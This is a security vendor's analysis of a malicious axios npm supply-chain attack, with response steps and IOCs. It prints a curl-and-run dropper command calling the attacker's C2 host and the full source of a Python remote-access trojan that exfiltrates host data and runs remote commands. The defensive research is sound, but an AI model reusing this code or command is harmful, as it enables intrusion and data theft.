Executive Summary

Our researchers and MDR team identified an npm supply chain attack involving malicious axios packages that leads to the execution of a Python-based payload on infected machines. The malware fingerprints the host, collects basic system and user environment data, and then communicates with attacker-controlled infrastructure to receive follow-on instructions.

Rather than acting noisily, it appears designed to understand the system first, helping the attacker focus on valuable targets while reducing the chance of early detection. Using our eBPF-based sensor, we observed the full runtime behavior chain, from the initial process execution and file activity to the outbound network communication, allowing us to connect the suspicious package activity to the later-stage malicious behavior with high confidence.

Research Context

This activity was identified during RSA week, when software supply chain attacks were already a major focus across the security community. That context makes the timing notable, but the core issue is the attack chain itself: a poisoned npm package flow involving axios that enabled staged malware execution and system reconnaissance on affected hosts.

How the axios npm Supply Chain Attack Was Executed

This npm supply chain attack combines maintainer account takeover, dependency poisoning, and staged malware execution to compromise downstream systems.

Stage 1: Initial Access: npm Maintainer Account Takeover

We identified an npm-based supply chain attack that leads to the execution of a staged Python payload on compromised Linux systems.

The attack was facilitated by an account takeover of the primary maintainer (jasonsaayman) using a long-lived classic npm access token. The attacker changed the account email to a Proton Mail address ([email protected]), effectively locking out the legitimate owner.

This allowed the attacker to publish directly to npm, bypassing:

  • CI/CD pipelines
  • SLSA provenance controls
  • Code review gates

Stage 2: Payload Delivery Through Poisoned axios Versions

The attack begins with the download of a Python script (ld.py) from packages.npm[.]org/product2.

Both release branches were poisoned:

These were published within 39 minutes, targeting both the 1.x and legacy 0.x branches to maximize exposure. Any project using a caret range (^1.14.0 or ^0.30.0) would pull the compromised version on the next npm install.

Stage 3: Pre-Staging and Dependency Obfuscation

A pre-staging tactic was used where a clean version of the malicious dependency ([email protected]) was published 18 hours before the attack to build registry history and avoid new-package scanner alerts.

The package disguised itself as the legitimate crypto-js library by copying its description, author name, and repository URL. The malicious 4.2.1 version was published just before the axios releases.

The setup.js postinstall dropper uses two layers of obfuscation to avoid static analysis:

  • Reversed Base64 encoding with padding character substitution
  • XOR cipher with the key OrDeR_7077 and a constant value of 333
image-38
The Main Code Block

Stage 4: Host Fingerprinting and Delayed Execution

Rather than immediately pulling a visible second-stage payload, the malware first profiles the host, gathers system artifacts, and generates a unique identifier for the machine.

Only after this initial fingerprinting does it communicate with attacker-controlled infrastructure, a technique likely intended to reduce exposure to automated scanning and signature-based detection.

Once executed, the malware gathers operating system artifacts and builds a unique signature before proceeding to the next stage of the attack. This approach helps evade scanners looking for a direct second-stage payload originating from http://sfrclak[.]com:8000/6202033.

Stage 5: Cross-Platform Payload Behavior

The attacker primarily targets Linux systems but includes payloads for macOS and Windows.

The script:

  • Generates a unique ID for the compromised host
  • Detects the operating system type based on CPU architecture
  • Locates the user’s home directory
  • Crawls the file system to locate specific target files

macOS

  • C++ compiled Mach-O universal binary
  • Path: /Library/Caches/com.apple.act.mond
  • Disguised as an Apple system process
  • Capable of self-signing injected payloads via codesign

Windows

  • Copies PowerShell to %PROGRAMDATA%\wt.exe
  • Establishes persistence via a Run key named MicrosoftUpdate
  • Uses VBScript and batch files for re-download resilience
image-39

Stage 6: Command-and-Control and Runtime Activity

After constructing the initial request, the script encodes the data in Base64 and exfiltrates it to the attacker’s URL via a unique path over port 8000.

Only after this step does the script proceed to its core function.

image-37

Within this function:

  • The malware gathers metadata about the compromised host
  • Enters an infinite loop to execute its primary tasks
  • Continuously monitors the process tree
  • Retains all previously collected system data

To evade defensive mechanisms, the malware accesses Linux OS data directly by reading system files instead of relying on standard CLI commands.

If running with elevated privileges, it attempts to extract process ownership and usernames directly from /etc/passwd.

We assess that the attacker monitors infected machines and may use stolen credentials to take full control of the host.

image-40

Stage 7: Anti-Forensics and Evasion

After execution, the dropper:

  • Deletes itself
  • Removes the package.json containing the malicious postinstall hook
  • Replaces it with a clean version

A developer inspecting node_modules/ afterward sees a benign-looking package. However, the presence of the plain-crypto-js folder remains sufficient proof that the dropper executed.

Stage 8: Attribution and Motivation

The attack is assessed as espionage-oriented rather than financially motivated.

The behavior indicates:

  • System reconnaissance
  • File enumeration
  • Process monitoring
  • Credential harvesting potential
  • Preparation for lateral movement

No cryptocurrency mining or ransomware activity was observed, suggesting intelligence collection and long-term access objectives.

Two additional malicious packages distributing the same payload include:

  • @shadanai/openclaw (2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2)
  • @qqbrowser/[email protected]

CDN caches were also observed serving malicious artifacts with long-lived cache headers, meaning some cached copies may persist even after npm removal.

This activity occurred shortly after supply chain attacks attributed to the TeamPCP threat group targeting Trivy, KICS, LiteLLM, and Telnyx. While post-compromise behavior is similar, no direct attribution has been confirmed.

How to Detect and Respond to the npm Supply Chain Attack

The following steps outline how to identify, contain, and remediate systems affected by the malicious axios packages and staged Python payload.

image-28-1024x743

Immediate Response Actions

Step 0: Identify Compromised Versions

Check your dependency tree and lockfiles for:

Search for the presence of the malicious dependency:

  • plain-crypto-js in node_modules

Step 1: Terminate Malicious Processes

On Linux systems, identify and terminate the Python payload:

ps aux | grep "ld.py"
kill -9 <PID>

Copied

On macOS:

  • Terminate processes related to /Library/Caches/com.apple.act.mond

On Windows:

  • Terminate wt.exe processes running from %PROGRAMDATA%

Step 2: Block Command-and-Control (C2) Communication

The malware beacons to attacker-controlled infrastructure every 60 seconds.

Block immediately at your firewall or WAF:

  • Domain: sfrclak[.]com
  • Port: 8000 (outbound)

Step 3: Rotate These Credentials Now

The malware crawled ~/.config, ~/Documents, and ~/Desktop on its very first run and sent a full file inventory to the attacker.

They know exactly what credentials exist on your runner. Assume all of the following are compromised:

  • CI/CD secret variables and environment variables
  • SSH keys on or used by the runner
  • Cloud provider keys (AWS, GCP, Azure)
  • Git hosting tokens (GitHub/GitLab PATs)
  • Container registry credentials
  • Any API keys in ~/.config or ~/Documents

Rotate every one of these. The attacker has had the ability to request the actual file contents at any time via remote command since the malware first ran.

Step 4: Audit for Lateral Movement

The malware read /etc/passwd and sent the full user list to the attacker. Check whether any of those accounts were used abnormally:

# Check recent logins across all users
last -n 50

# Look for unusual sudo usage
grep "sudo" /var/log/auth.log | tail -50

# Check for new SSH keys added to any user
find /home /root -name "authorized_keys" -newer /tmp/ld.py 2>/dev/null

Copied

Step 5: Isolate Affected Systems

Remove compromised CI/CD runners from your pool immediately.

  • Do not wipe systems yet — preserve for forensic analysis
  • Delay new releases until the environment is verified clean

For future protection:

Enforce --ignore-scripts in CI/CD pipelines

Use npm ci with committed lockfiles

/bin/sh -c curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

Copied

Indicators of Compromise (IOCs)

TypeValue
C2 Domainsfrclak.com
C2 IP142.11.206.73
Malicious Package[email protected]
[email protected]
Malicious Dependency[email protected]
Linux Payload Path/tmp/ld.py
macOS Payload Path/Library/Caches/com.apple.act.mond
Windows Payload Path%PROGRAMDATA%\wt.exe
%TEMP%\6202033.ps1
macOS SHA25692ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
Windows SHA256617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
Tracking IDsGHSA-fw8c-xr5c-95f9, MAL-2026-2306, SNYK-JS-PLAINCRYPTOJS-15850652
Attacker Accountnpm:nrwise
[email protected]

Malicious Python Script Sample

import string
import secrets
import os
import pwd
import platform
import time
import sys
import subprocess
import base64
import shlex
from pathlib import Path
import json
from urllib.parse import urlsplit
import datetime
import http.client
import sys

def get_os():
arch = platform.machine().lower()

if arch in ("x86_64", "amd64"):
return "linux_x64"
elif "arm" in arch or "aarch" in arch:
return "linux_arm"
else:
return "linux_unknown"

def get_boot_time():
with open("/proc/uptime", "r") as f:
uptime_seconds = float(f.readline().split()[0])
boot_time = datetime.datetime.now() - datetime.timedelta(seconds=uptime_seconds)
return boot_time

def get_host_name():
with open("/proc/sys/kernel/hostname", "r") as f:
return f.read().strip()

def get_user_name():
return os.getlogin()

def get_installation_time():
install_log_path = "/var/log/installer"
dpkg_log_path = "/var/log/dpkg.log"

if os.path.exists(install_log_path):
install_time = os.path.getctime(install_log_path)
elif os.path.exists(dpkg_log_path):
install_time = os.path.getctime(dpkg_log_path)
else:
return ""

return datetime.datetime.fromtimestamp(install_time)

def get_system_info():
manufacturer = ""
product_name = ""

try:
with open("/sys/class/dmi/id/sys_vendor", "r") as f:
manufacturer = f.read().strip()
except FileNotFoundError:
pass

try:
with open("/sys/class/dmi/id/product_name", "r") as f:
product_name = f.read().strip()
except FileNotFoundError:
pass

return manufacturer, product_name

def get_process_list():
process_list = []
current_pid = os.getpid()

for pid in os.listdir("/proc"):
if pid.isdigit():
try:
cmdline_path = os.path.join("/proc", pid, "cmdline")
if os.path.exists(cmdline_path):
with open(cmdline_path, "r") as cmdline_file:
cmdline = cmdline_file.read().replace("\x00", " ").strip()
else:
cmdline = "N/A"

with open(os.path.join("/proc", pid, "stat"), "r") as stat_file:
stat_content = stat_file.read().split()
ppid = int(stat_content[3])
start_time_ticks = int(stat_content[21])

with open("/proc/uptime", "r") as uptime_file:
uptime_seconds = float(uptime_file.readline().split()[0])
system_boot_time = datetime.datetime.now() - datetime.timedelta(
seconds=uptime_seconds
)
start_time = system_boot_time + datetime.timedelta(
seconds=start_time_ticks
/ os.sysconf(os.sysconf_names["SC_CLK_TCK"])
)

with open(os.path.join("/proc", pid, "status"), "r") as status_file:
for line in status_file:
if line.startswith("Uid:"):
uid = int(line.split()[1])
break
else:
uid = -1

username = "N/A"
if uid != -1:
with open("/etc/passwd", "r") as passwd_file:
for passwd_line in passwd_file:
fields = passwd_line.strip().split(":")
if int(fields[2]) == uid:
username = fields[0]
break

if int(pid) == current_pid:
process_list.append(
(int(pid), ppid, username, start_time, "*" + cmdline)
)
else:
process_list.append((int(pid), ppid, username, start_time, cmdline))
except (FileNotFoundError, IndexError, ValueError):
pass

return process_list

def print_process_list():
process_list = get_process_list()

str = ""

for pid, ppid, username, start_time, cmdline in process_list:
if len(cmdline) > 60:
cmdline = cmdline[:57] + "..."
start_time_str = start_time.strftime("%Y-%m-%d %H:%M:%S")
str += (
"{:<10} {:<10} {:<15} {:<25} {:<}".format(
pid, ppid, username, start_time_str, cmdline
)
+ "\n"
)

str += "\n"

return str

def generate_random_string(length):
characters = string.ascii_letters + string.digits
return "".join(secrets.choice(characters) for _ in range(length))



def do_action_ijt(ijtbin, param):
payload = base64.b64decode(b64_string)

file_path = f"/tmp/.{generate_random_string(6)}"
try:
with open(file_path, "wb") as file:
file.write(payload)

os.chmod(file_path, 0o777)

subprocess.Popen(
[file_path] + shlex.split(param.decode("utf-8", errors="strict"))
)
except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}

return {
"status": "Wow",
"msg": ""
}

def get_filelist(PathStr, id, Recurse=False):
p = Path(PathStr)

if not p.exists():
raise Exception(f"No Exists Such Dir: {PathStr}")

items = p.rglob("*") if Recurse else p.iterdir()

result = []

for item in items:
stat = item.stat()

created_ts = getattr(stat, "st_birthtime", None)
created = int(created_ts) if created_ts is not None else 0
modified = int(stat.st_mtime)
hasItems = False
if item.is_dir():
hasItems = any(item.iterdir())

result.append({
"Name": item.name,
"IsDir": item.is_dir(),
"SizeBytes": 0 if item.is_dir() else stat.st_size,
"Created": created,
"Modified": modified,
"HasItems": hasItems
})

return {
"id": id,
"parent": str(p),
"childs": result
}

def do_action_dir(Paths):
rlt = []
for item in Paths:
rlt.append(get_filelist(item["path"], item["id"]))
return rlt

def init_dir_info():
home_dir = Path.home()

init_dir = [
home_dir,
home_dir / ".config",
home_dir / "Documents",
home_dir / "Desktop",
]

rlt = []
idx = 0
for item in init_dir:
if item.exists():
rlt.append(get_filelist(str(item), "FirstReqPath-" + str(idx)))
idx = idx + 1

return rlt

def do_run_scpt(cmdline):
try:
result = subprocess.run(
cmdline,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
return {
"status": "Wow",
"msg": result.stdout
}
except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}

def do_action_scpt(scpt, param):
if not scpt:
return do_run_scpt(param)

try:
payload = base64.b64decode(scpt).decode("utf-8", errors="strict")

result = subprocess.run(
["python3", "-c", payload] + shlex.split(param),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)

return {
"status": "Wow",
"msg": result.stdout
}

except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}



def send_post_request(full_url, data):
try:
url_parts = urlsplit(full_url)
host = url_parts.netloc

path = url_parts.path or "/"
if url_parts.query:
path += "?" + url_parts.query

if isinstance(data, str):
data = data.encode("utf-8")

if url_parts.scheme == "https":
conn = http.client.HTTPSConnection(host, timeout=60)
else:
conn = http.client.HTTPConnection(host, timeout=60)

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)",
}

conn.request("POST", path, data, headers)

response = conn.getresponse()
response_data = response.read()

conn.close()
return response_data

except Exception:
return None

def send_result(url, body):
encoded = base64.b64encode(
json.dumps(body, ensure_ascii=False).encode("utf-8")
).decode()
return send_post_request(url, encoded)

def process_request(url, uid, data) -> bool:
if len(data) == 0:
return False

json_obj = json.loads(data)

if json_obj.get("type") == "kill":
body = {
"type": "CmdResult",
"cmd": "rsp_kill",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": "success",
}
send_result(url, body)
sys.exit(0)

elif json_obj.get("type") == "peinject":
rlt = do_action_ijt(
json_obj.get("IjtBin"),
json_obj.get("Param")
)
body = {
"type": "CmdResult",
"cmd": "rsp_peinject",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": rlt.get("status"),
"msg": rlt.get("msg"),
}
send_result(url, body)

elif json_obj.get("type") == "runscript":
rlt = do_action_scpt(
json_obj.get("Script"),
json_obj.get("Param")
)
body = {
"type": "CmdResult",
"cmd": "rsp_runscript",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": rlt.get("status"),
"msg": rlt.get("msg"),
}
send_result(url, body)

elif json_obj.get("type") == "rundir":
rlt = do_action_dir(json_obj.get("ReqPaths"))
body = {
"type": "CmdResult",
"cmd": "rsp_rundir",
"cmdid": json_obj.get("CmdID"),
"status": "Wow",
"uid": uid,
"msg": rlt,
}
send_result(url, body)

return True



def main_work(url, uid):
boot_time = str(get_boot_time())
installation_time = str(get_installation_time())
timezone = str(datetime.datetime.now(datetime.timezone.utc).astimezone().tzinfo)
manufacturer, product_name = get_system_info()
os_version = platform.system() + " " + platform.release() + " "
os = get_os()

while True:
current_time = str(datetime.datetime.now())
ps = print_process_list()

data = {
"hostname": get_host_name(),
"username": get_user_name(),
"os": os,
"version": os_version,
"timezone": timezone,
"installDate": installation_time,
"bootTimeString": boot_time,
"currentTimeString": current_time,
"modelName": manufacturer,
"cpuType": product_name,
"processList": ps
}
body = {
"type": "BaseInfo",
"uid": uid,
"data": data
}
response_content = send_result(url, body)

if response_content:
result = process_request(url, uid, response_content)

time.sleep(60)

def work():
url = sys.argv[1]

uid = generate_random_string(16)

os = get_os()
dir_info = init_dir_info()
body = {
"type": "FirstInfo",
"uid": uid,
"os": os,
"content": dir_info
}
send_result(url, body)

main_work(url, uid)

return True

work()

Copied